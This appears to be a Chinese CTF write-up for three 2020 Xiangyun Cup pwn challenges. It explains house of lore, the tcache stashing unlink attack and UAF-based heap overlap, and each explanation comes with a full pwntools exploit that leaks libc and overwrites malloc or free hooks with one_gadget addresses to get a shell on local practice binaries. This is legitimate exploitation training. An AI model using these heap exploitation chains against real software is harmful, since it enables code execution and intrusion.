祥云杯2020

祥云杯

pwn

Beauty_Of_ChangChun

tache stashing Unlink Attack

根据house of Lore改编过来

house of lore

如果想从small bin中,取一个chunk下来,那么他会验证chunk的完整性是否为伪造bck->fd!=victim//取得最后一个chunk,然后与倒数第二个chunk做比较是否相等,来验证完整性

接着就是正常的unlink了,我们来看看会做些什么

bin->bk = bck;
bck->fd = bin;

如果我们能控制victim的bk指针值,并且bck也满足bck->fd!=victim,那么我们就可以对任意地址写入一个main_arena周围的值,并且如果后面的bk值也同样满足的话,就可以对任意地址进行 申请了

Tache Stashing Unlink Attack

在libc-2.29中,我们在没有使用tache的时候,检查跟以前是一样的,如果使用了tache,那么small bin里的chunk,会先放入tache中,在申请进来,而有一个函数是不会向tache里申请chunk的 calloc,该函数只会向unsorted bin/small bin/large bin申请chunk,如果没有就像top chunk申请,那么我们的漏洞点和上述最大的差别在哪呢?

house of lore与tache stashing unlink attack最大的区别

当tache不为满的时候,tache会将其他bin里的值给填充进来,直到填满为止,但在这个过程中,也需要进行unlink,但在small bin里的chunk放入tache中的时候,是没有验证链表完整性的这个检测的,所以我们可以在small bin里放入两个chunk,控制倒数第二个chunk的bk指针为fake,然后tache 差1满的时候,进行申请chunk,此时victim会被申请出去,而倒数第二个的chunk会被放入tache中,此时我们伪造的fake就变成了倒数第一个chunk,此时程序会做一下操作

bin->bk = bck;
bck->fd = bin;

所以此时fake->-bk->fd=bin,从而达到修改任意地址的值,同时还有任意地址申请

exp
from pwn import *

p=process('./pwn')
libc=ELF('/home/pppp/Desktop/glibc-all-in-one-master/libs/2.29-0ubuntu2_amd64/libc-2.29.so')
ru = lambda p, x        : p.recvuntil(x)
sd = lambda p, x        : p.send(x)
rl = lambda p           : p.recvline()
sl = lambda p, x        : p.sendline(x)
rv = lambda p, x=1024   : p.recv(numb = x)
sa = lambda p, a, b     : p.sendafter(a,b)
sla = lambda p, a, b    : p.sendlineafter(a,b)
rr = lambda p, t        : p.recvrepeat(t)
rvl = lambda p, x        : p.recvuntil(x, drop=True)

def add(size):
	rvl(p,'Enjoy scenery')
	sl(p,'1')
	rvl(p,'size:')
	sl(p,str(size))

def free(idx):
	rvl(p,'Enjoy scenery')
	sl(p,'2')
	rvl(p,'idx:')
	sl(p,str(idx))

def edit(idx,content):
	rvl(p,'Enjoy scenery')
	sl(p,'3')
	rvl(p,'idx')
	sl(p,str(idx))
	rvl(p,'chat:')
	sl(p,content)

def show(idx):
    sla(p,"4: Enjoy scenery\n",'4')
    sla(p,'idx',str(idx))

rvl(p,'People')
flag=int(rv(p,13),16)
log.success('flag:'+hex(flag))
libc.address=flag+0x28000
log.success('libc:'+hex(libc.address))
print('main_arena:'+hex(libc.symbols['__malloc_hook']+0x10))


add(0x100)#0
for i in range(3):
    add(0xff)
    free(1)
add(0x100)#1
for i in range(4):
    add(0xff)
    free(2)

free(0)
free(1)

p.recvuntil("4: Enjoy scenery\n")
p.sendline("666")

show(1)
p.recvuntil("see\n")
heap_addr=u64(p.recv(6).ljust(8,b"\x00"))

show(0)
p.recvuntil("see\n")
main_arena=u64(p.recv(6).ljust(8,b"\x00"))

log.success('main_arena:'+hex(main_arena))

p.recvuntil("4: Enjoy scenery\n")
p.sendline("5")
p.send("aaaa\n")

edit(1,p64(heap_addr)+p64(flag-0x10))

add(0x100)#2

edit(2,p64(main_arena))


p.recvuntil("4: Enjoy scenery\n")
p.sendline("5")
p.recvuntil("input idx\n")
p.sendline("2")

gdb.attach(p)
p.interactive()

影流之主

很明显的漏洞,uaf,又没有好好的看全局变量的

这里把0x60的chunk分配到全局变量变量上,因为这里有个stdout,而且下面又正好是heaps的地址,所以我们可以直接写入函数的got地址,再直接写入malloc_hook即可

exp
from pwn import *

p=process('./ying_liu_zhi_zhu')
context.log_level='debug'
elf=ELF('./ying_liu_zhi_zhu')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add():
	p.sendline('1')

def free(idx):
	p.sendline('2')
	p.sendline(str(idx))

def edit(idx,content):
	p.sendline('3')
	p.sendline(str(idx))
	p.send(content)

def show(idx):
	p.sendline('4')
	p.sendline(str(idx))

add()#0
free(0)
edit(0,p64(0x602060-0x23)+b'a'*(0x30-0x9))
add()#1
add()#2s

edit(2,(b'\x00'*0x13+p64(0x601FB0)))

show(0)
puts=u64(p.recvuntil('\x7f').ljust(8,b'\x00'))
log.success('puts:'+hex(puts))
libc_base=puts-0x6f6a0
one=[0x45226,0x4527a,0xf0364,0xf1207]
malloc_hook=libc_base+libc.symbols['__malloc_hook']
free_hook=libc_base+libc.symbols['__free_hook']

p.sendline('3')

edit(2,b'\x00'*0x13+p64(malloc_hook-0x23))

edit(0,b'a'*0x23+p64(one[3]+libc_base))
p.interactive()

garden

学到一个新的堆风水

堆风水

由于有uaf漏洞,并且可以申请一个稍微小的chunk,(chunk1低地址,chunk2高地址)所以当我们uaf释放了两个相同大小chunk的时候,再申请一个比这里要小的chunk,此时原先的两个指针还指向原来的位置

此时我再一次释放chunk1,那么小的chunk也会被我释放掉

但此时我申请一个跟chunk1相同大小的chunk,在释放一遍chunk2,此时已经造成了堆重叠,因为chunk1在新申请的时候已经因为那个小的chunk偏移了一部分距离,所以当释放新的chunk1,那么此时,new chunk1->chunk2

exp
from pwn import *

p=process('./garden')
libc=ELF('./libc-2.29.so')
def add(idx,content):
	p.recvuntil('>> ')
	p.sendline('1')
	p.recvuntil('index?')
	p.sendline(str(idx))
	p.recvuntil('name?')
	p.send(content)

def free1(idx):
	p.recvuntil('>> ')
	p.sendline('2')
	p.recvuntil('index?')
	p.sendline(str(idx))

def show(idx):
	p.recvuntil('>> ')
	p.sendline('3')
	p.recvuntil('index?')
	p.sendline(str(idx))

def free2(idx):
	p.recvuntil('>> ')
	p.sendline('5')
	p.recvuntil('steal?')
	p.sendline(str(idx))

for i in range(9):
	add(i,'\x00'*0x20)

for i in range(7):
	free1(8-i)

free2(1)
show(1)
libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-(0x7f5794fe0ca0-0x7f5794e21000)
log.success('libc:'+hex(libc.address))

free1(0)
p.recvuntil('>> ')
p.sendline('6')


for i in range(7):
	add(8-i,'p')

add(0,'p')
free1(2)
free1(1)

free1(0)

log.success('free_hook:'+hex(libc.address+0x1c25a8))
one = libc.address + 0xe2383 
add(0,b'a'*0xd0+p64(0)+p64(0x111)+p64(libc.address+0x1c25a8))

add(1,'b'*8)
add(2,p64(one))
#gdb.attach(p)

p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值